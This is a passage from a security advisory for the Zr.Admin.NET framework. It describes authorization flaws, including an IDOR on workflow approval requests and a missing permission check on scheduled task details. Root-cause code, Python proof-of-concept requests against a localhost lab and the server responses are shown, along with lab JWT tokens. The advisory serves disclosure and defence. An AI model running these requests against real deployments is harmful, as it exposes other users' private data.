", "userId": 1, "status": null, "editorType": null, "tags": null, "hits": 0, "categoryId": 0, "createTime": "2026-11-13 20:52:12", "updateTime": null, "authorName": "admin", "coverUrl": null, "categoryNav": null, "tagList": [], "isPublic": 1, "abstractText": "CFO salary 480000, bank account 6222 0000 1111 2222", "isTop": 0, "articleType": 0, "praiseNum": 0, "commentNum": 0, "shareNum": 0, "coverImgList": [], "position": "Reserved", "isPraise": 0, "topicId": 0, "topicName": null, "user": { "avatar": null, "nickName": "管理员", "sex": 0 }, "auditStatus": 1, "commentSwitch": 0 } } ``` `low1` then pins the article, which belongs to the administrator: ```python r = requests.put(f"{B}/front/article/top", headers=low, json={"cid": 1, "isTop": 1}) print("top ->", r.status_code, r.text.strip()) ``` ``` top -> 200 { "code": 200, "msg": "success", "data": 1 } ``` ## 4. IDOR Exposes Other Users' Approval Requests (CVE-2026-129454) Brief description: A user with an account can read the approval requests of others, including form contents and approval records. Affected versions: 85cff6ae (2026-08-01) to eb9228a2 (2026-10-22) Introduced in: [Zr.Admin.NET commit 85cff6ae](https://github.com/izhaorui/Zr.Admin.NET/commit/85cff6ae22389c241d3a4efe178273966650f7ca) Preconditions: The instance has approval requests started by other users. ### Root Cause `WfFlowInstanceController.GetInfo` only carries `common`: ```csharp // ZR.Workflow/Controllers/WfFlowInstanceController.cs:48-58 commit eb9228a230 /// /// 实例详情 /// [HttpGet("{instanceId}")] [ActionPermissionFilter(Permission = "common")] public IActionResult GetInfo(long instanceId) { // viewerId=当前登录用户,用于详情页按节点字段权限过滤表单(申请人/历史实例全放开) var viewerId = HttpContext.GetUId(); return SUCCESS(_service.GetInfo(instanceId, viewerId)); } ``` The service loads the instance by `InstanceId`; `viewerId` only drives field masking and plays no part in whether the instance may be viewed: ```csharp // ZR.Workflow/Service/WfFlowInstanceService.cs:173-176 commit eb9228a230 public WfFlowInstanceDto GetInfo(long instanceId, long? viewerId = null) { var inst = Queryable().First(i => i.InstanceId == instanceId); if (inst == null) return null; ``` `ApplyFieldPermission` only decides which fields are read-only or hidden, and does not decide whether the viewer may open the instance. When the instance is not under approval, all fields are released; when it is under approval and the current node configures no field permission, `AllEditable` is set to true as well (`WfFlowInstanceService.cs:488-493`, `:531-537`). Part of the method is: ```csharp // ZR.Workflow/Service/WfFlowInstanceService.cs:475-493 commit eb9228a230 private void ApplyFieldPermission(WfFlowInstanceDto dto, WfFlowInstance inst, long? viewerId) { if (inst == null || dto == null) return; var view = new WfFieldPermissionView(); // 申请人本人 → 可编辑全部字段 if (viewerId.HasValue && inst.ApplyUserId.HasValue && inst.ApplyUserId.Value == viewerId.Value) { view.AllEditable = true; dto.FieldPermissionView = view; return; } // 非审批中实例 / 未传入查看者 → 历史直接放开(全可见只读) if (!viewerId.HasValue || inst.Status != (int)WfInstanceStatus.Approval) { dto.FieldPermissionView = view; return; } ``` Instance ids are an auto-increment primary key and can be enumerated in ascending order. ### Reproduction Environment The lab of section 1 is reused. The workflow module is enabled by `ModuleInit:Workflow`. Before each reproduction run `docker compose down -v` to drop the volumes, then initialize again as in section 1. ### Reproduction The administrator creates a flow definition and starts an approval request: ```python import json, requests B = "http://127.0.0.1:1888" admin = {"Authorization": f"Bearer {login('admin', '123456')}"} flow = {"flowCode": "expense", "flowName": "Expense approval", "formType": 0, "designType": 2, "status": 1, "isDraft": 0, "formItems": json.dumps([{"field": "reason", "label": "Reason", "type": "input"}, {"field": "account", "label": "Bank account", "type": "input"}]), "nodes": [{"nodeName": "Start", "nodeType": 0, "nodeOrder": 1}, {"nodeName": "Approve", "nodeType": 1, "approverType": 0, "approverId": "1", "approverNames": "admin", "signType": 0, "nodeOrder": 2}, {"nodeName": "End", "nodeType": 3, "nodeOrder": 3}], "nodeLinks": [{"sourceNodeId": 1, "targetNodeId": 2}, {"sourceNodeId": 2, "targetNodeId": 3}]} r = requests.post(f"{B}/workflow/definition", headers=admin, json=flow) print("admin POST /workflow/definition ->", r.status_code, r.json()["code"]) flows = requests.get(f"{B}/workflow/definition/list", headers=admin, params={"pageNum": 1, "pageSize": 10}).json()["data"]["result"] fid = [f["flowId"] for f in flows if f["flowCode"] == "expense"][0] r = requests.post(f"{B}/workflow/instance/start", headers=admin, json={ "flowId": fid, "title": "Executive reimbursement", "formContent": json.dumps({"reason": "Board trip", "account": "6222 0000 1111 2222, password 9911"})}) print("admin POST /workflow/instance/start -> instanceId =", r.json()["data"]) ``` Output: ``` admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcImZmNTU1ZjQyYTQ3ZTQwMzZiMzIxNjBjYjY5OGExMTg2XCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwi566h55CG5ZGYXCIsXCJSb2xlS2V5c1wiOltcImFkbWluXCJdLFwiUm9sZXNcIjpbe1wiUm9sZUlkXCI6MSxcIlJvbGVLZXlcIjpcImFkbWluXCIsXCJEYXRhU2NvcGVcIjoxfV0sXCJFeHBpcmVUaW1lXCI6XCIwMDAxLTAxLTAxVDAwOjAwOjAwXCIsXCJUZW5hbnRJZFwiOm51bGwsXCJQZXJtaXNzaW9uc1wiOltcIio6KjoqXCJdLFwiU2NvcGVUeXBlXCI6NH0iLCJuYmYiOjE3OTQ1NzQzNzMsImV4cCI6MTc5NDY2MDc3MywiaWF0IjoxNzk0NTc0MzczLCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.3DvU0I6XbLCeozY7gSYbPySv65FveQ7UTb5dU609Dnk low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiNTVjNzYwYTBhZDk0NGRlYWE5MzI2ZTFjZDZmZDI5MWRcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NTc0Mzc0LCJleHAiOjE3OTQ2NjA3NzQsImlhdCI6MTc5NDU3NDM3NCwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.aZlZJx-feWQMO4BWEVYDVajPsW1W9gsgifHngyjhuno admin POST /workflow/definition -> 200 200 success admin POST /workflow/instance/start -> instanceId = 1 ``` `low1` reads the instance: ```python low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"} r = requests.get(f"{B}/workflow/instance/1", headers=low) print(r.status_code, r.text) ``` ``` 200 { "code": 200, "msg": "success", "data": { "instanceId": 1, "flowId": 1, "flowName": "Expense approval", "businessKey": null, "title": "Executive reimbursement", "applyUser": "admin", "applyNickName": "管理员", "status": 0, "currentNodeId": 2, "currentNodeIds": "[2]", "currentNodeName": "Approve", "approvers": null, "formContent": "{\"reason\": \"Board trip\", \"account\": \"6222 0000 1111 2222, password 9911\"}", "fieldPermissionView": { "allEditable": true, "readonlyFields": [], "hiddenFields": [] }, "attachment": null, "attachmentParsed": "[]", "lastUrgeTime": null, "tasks": [ { "taskId": 1, "instanceId": 1, "nodeId": 2, "nodeName": "Approve", "assignee": "admin", "assigneeNickName": "管理员", "assigneeId": 1, "delegateId": null, "delegateName": null, "status": 0, "opinion": null, "action": null, "taskType": 0, "isRead": false, "handleTime": null, "title": null, "applyUser": null, "applyNickName": null, "flowName": null, "instanceStatus": 0, "createBy": "admin", "createTime": "2026-11-13 12:52:55", "updateTime": null, "remark": null } ], "records": [ { "recordId": 1, "taskId": null, "instanceId": 1, "nodeId": null, "nodeName": null, "title": null, "flowName": null, "applyUser": null, "applyNickName": null, "instanceStatus": 0, "operator": "admin", "operatorNickName": "管理员", "action": 0, "isRead": false, "opinion": "发起申请", "summary": null, "createBy": "admin", "createTime": "2026-11-13 12:52:55", "updateTime": null, "remark": null } ], "createBy": "admin", "createTime": "2026-11-13 12:52:55", "updateTime": null, "remark": null } } ``` `low1` reads the approval record list as well: ```python r = requests.get(f"{B}/workflow/record/list", headers=low, params={"pageNum": 1, "pageSize": 5}) print(r.status_code, r.text) ``` ``` 200 { "code": 200, "msg": "success", "data": { "pageSize": 5, "pageIndex": 1, "totalNum": 1, "totalPage": 1, "result": [ { "recordId": 1, "taskId": null, "instanceId": 1, "nodeId": null, "nodeName": null, "title": "Executive reimbursement", "flowName": "Expense approval", "applyUser": "admin", "applyNickName": "管理员", "instanceStatus": 0, "operator": "admin", "operatorNickName": "管理员", "action": 0, "isRead": false, "opinion": "发起申请", "summary": null, "createBy": null, "createTime": "2026-11-13 12:52:55", "updateTime": null, "remark": null } ], "extra": {} } } ``` ## 5. Missing Authorization on Scheduled Task Details (CVE-2026-129466) Brief description: A user with an account can read the full configuration of scheduled tasks, including the statements stored in SQL tasks. Affected versions: 1845017b (2021-08-23) to eb9228a2 (2026-10-22) Introduced in: [Zr.Admin.NET commit 1845017b](https://github.com/izhaorui/Zr.Admin.NET/commit/1845017b67b3de3d12fad0238f5493235f70a93d) Preconditions: The attacker holds an account. ### Root Cause `TasksController.Get` has no `[ActionPermissionFilter]`, so it can be called after login: ```csharp // ZR.Admin.WebApi/Controllers/System/TasksController.cs:147-156 commit eb9228a230 /// /// 查询单个计划任务 /// /// 编码 /// [HttpGet("get")] public IActionResult Get(string id) { if (!string.IsNullOrEmpty(id)) { return SUCCESS(GetTaskById(id)); } return SUCCESS(0); } ``` List, create, update, delete and run in the file all carry `monitor:job:*` permissions (`TasksController.cs:127`, `:164`, `:205`, `:250`, `:327`), and `Get` was missed. `GetTaskById` returns the whole `SysTasks` row, with the fields `AssemblyName`, `ClassName`, `Cron`, `SqlText` and `JobParams`. ### Reproduction Environment The lab of section 1 is reused. Before each reproduction run `docker compose down -v` to drop the volumes, then initialize again as in section 1. ### Reproduction The administrator creates an SQL scheduled task and runs it: ```python import requests B = "http://127.0.0.1:1888" admin = {"Authorization": f"Bearer {login('admin', '123456')}"} r = requests.post(f"{B}/system/Tasks/create", headers=admin, json={ "name": "nightly-report", "jobGroup": "default", "cron": "0 0 2 * * ?", "taskType": 3, "assemblyName": "ZR.Tasks", "className": "TaskScheduler.Job_SqlExecute", "sqlText": "select UserName,Password from sys_user where UserId=1"}) print("admin POST /system/Tasks/create ->", r.status_code, r.text.strip()) tasks = requests.get(f"{B}/system/Tasks/list", headers=admin, params={"pageNum": 1, "pageSize": 20}).json()["data"]["result"] tid = [t["id"] for t in tasks if t["name"] == "nightly-report"][0] print("task id =", tid) r = requests.get(f"{B}/system/Tasks/run", headers=admin, params={"id": tid}) print("admin GET /system/Tasks/run ->", r.status_code, r.text.strip()) ``` ``` admin token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMSIsIm5hbWVpZCI6IjEiLCJ1bmlxdWVfbmFtZSI6ImFkbWluIiwiZ3JvdXBzaWQiOiIwIiwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy91c2VyZGF0YSI6IntcIlVzZXJJZFwiOjEsXCJTZXNzaW9uSWRcIjpcIjQ5ZGQ3ODEyYjcyNTQzNmViY2M2NzkzZmU3NTIxYzcyXCIsXCJEZXB0SWRcIjowLFwiVXNlck5hbWVcIjpcImFkbWluXCIsXCJOaWNrTmFtZVwiOlwi566h55CG5ZGYXCIsXCJSb2xlS2V5c1wiOltcImFkbWluXCJdLFwiUm9sZXNcIjpbe1wiUm9sZUlkXCI6MSxcIlJvbGVLZXlcIjpcImFkbWluXCIsXCJEYXRhU2NvcGVcIjoxfV0sXCJFeHBpcmVUaW1lXCI6XCIwMDAxLTAxLTAxVDAwOjAwOjAwXCIsXCJUZW5hbnRJZFwiOm51bGwsXCJQZXJtaXNzaW9uc1wiOltcIio6KjoqXCJdLFwiU2NvcGVUeXBlXCI6NH0iLCJuYmYiOjE3OTQ2NDI2NDUsImV4cCI6MTc5NDcyOTA0NSwiaWF0IjoxNzk0NjQyNjQ1LCJpc3MiOiJaUkFkbWluLk5FVCIsImF1ZCI6IlpSQWRtaW4uTkVUIn0.ule4XLd4hhfh5UvH2A6LaHYZieJCAMqp7sfimzREn_c low1 token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkJlYXJlciJ9.eyJwcmltYXJ5c2lkIjoiMiIsIm5hbWVpZCI6IjIiLCJ1bmlxdWVfbmFtZSI6ImxvdzEiLCJncm91cHNpZCI6IjAiLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3VzZXJkYXRhIjoie1wiVXNlcklkXCI6MixcIlNlc3Npb25JZFwiOlwiNjQ2ZDJlOThhMGI1NGIyYWE3Y2E1NzMxNzAyZjE2NGZcIixcIkRlcHRJZFwiOjAsXCJVc2VyTmFtZVwiOlwibG93MVwiLFwiTmlja05hbWVcIjpcImxvdzFcIixcIlJvbGVLZXlzXCI6W10sXCJSb2xlc1wiOltdLFwiRXhwaXJlVGltZVwiOlwiMDAwMS0wMS0wMVQwMDowMDowMFwiLFwiVGVuYW50SWRcIjpudWxsLFwiUGVybWlzc2lvbnNcIjpbXSxcIlNjb3BlVHlwZVwiOjB9IiwibmJmIjoxNzk0NjQyNjQ2LCJleHAiOjE3OTQ3MjkwNDYsImlhdCI6MTc5NDY0MjY0NiwiaXNzIjoiWlJBZG1pbi5ORVQiLCJhdWQiOiJaUkFkbWluLk5FVCJ9.8yNMns8KT4WIzTzP9BCc-rDwIzonPHUdtuEz7uGwGmY admin POST /system/Tasks/create -> 200 { "code": 200, "msg": "success", "data": 1 } task id = 2121511140147204096 admin GET /system/Tasks/run -> 200 { "code": 200, "msg": "运行计划任务:【nightly-report】成功" } ``` `low1` can read the task id through `GET /monitor/jobLog/list`: ```python time.sleep(3) low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"} r = requests.get(f"{B}/monitor/jobLog/list", headers=low, params={"pageNum": 1, "pageSize": 1}) print(r.status_code, r.text) ``` ``` low1 GET /monitor/jobLog/list -> 200 { "code": 200, "msg": "success", "data": { "pageSize": 1, "pageIndex": 1, "totalNum": 1, "totalPage": 1, "result": [ { "jobLogId": 1, "jobId": "2121511140147204096", "jobName": "nightly-report", "jobGroup": "default", "status": "0", "exception": null, "jobMessage": "success", "invokeTarget": "SqlExecute", "tenantId": "0", "createTime": "2026-11-14 15:50:47", "elapsed": 11.9025, "serverName": null, "operator": "admin", "traceId": "0HNQ24FTTQPDN:00000001", "isManual": 1, "triggerSource": "manual" } ], "extra": {} } } ``` `low1` reads the detail by task id: ```python low = {"Authorization": f"Bearer {login('low1', 'Aa123456!')}"} r = requests.get(f"{B}/system/Tasks/get", headers=low, params={"id": "2121511140147204096"}) print(r.status_code, r.text) ``` ``` low1 GET /system/Tasks/get -> 200 { "code": 200, "msg": "success", "data": { "id": "2121511140147204096", "name": "nightly-report", "jobGroup": "default", "cron": "0 0 2 * * ?", "assemblyName": "ZR.Tasks", "className": "TaskScheduler.Job_SqlExecute", "runTimes": 1, "beginTime": null, "endTime": null, "triggerType": 0, "intervalSecond": 0, "isStart": 0, "jobParams": null, "lastRunTime": "2026-11-14 15:50:47", "lastSuccessTime": "2026-11-14 15:50:47", "lastFailTime": null, "lastRunStatus": "0", "lastErrorMsg": null, "tenantId": "0", "apiUrl": null, "taskType": 3, "sqlText": "select UserName,Password from sys_user where UserId=1", "requestMethod": null, "createBy": "admin", "createTime": "2026-11-14 07:50:46", "updateTime": "2026-11-14 07:50:47", "remark": null } } ```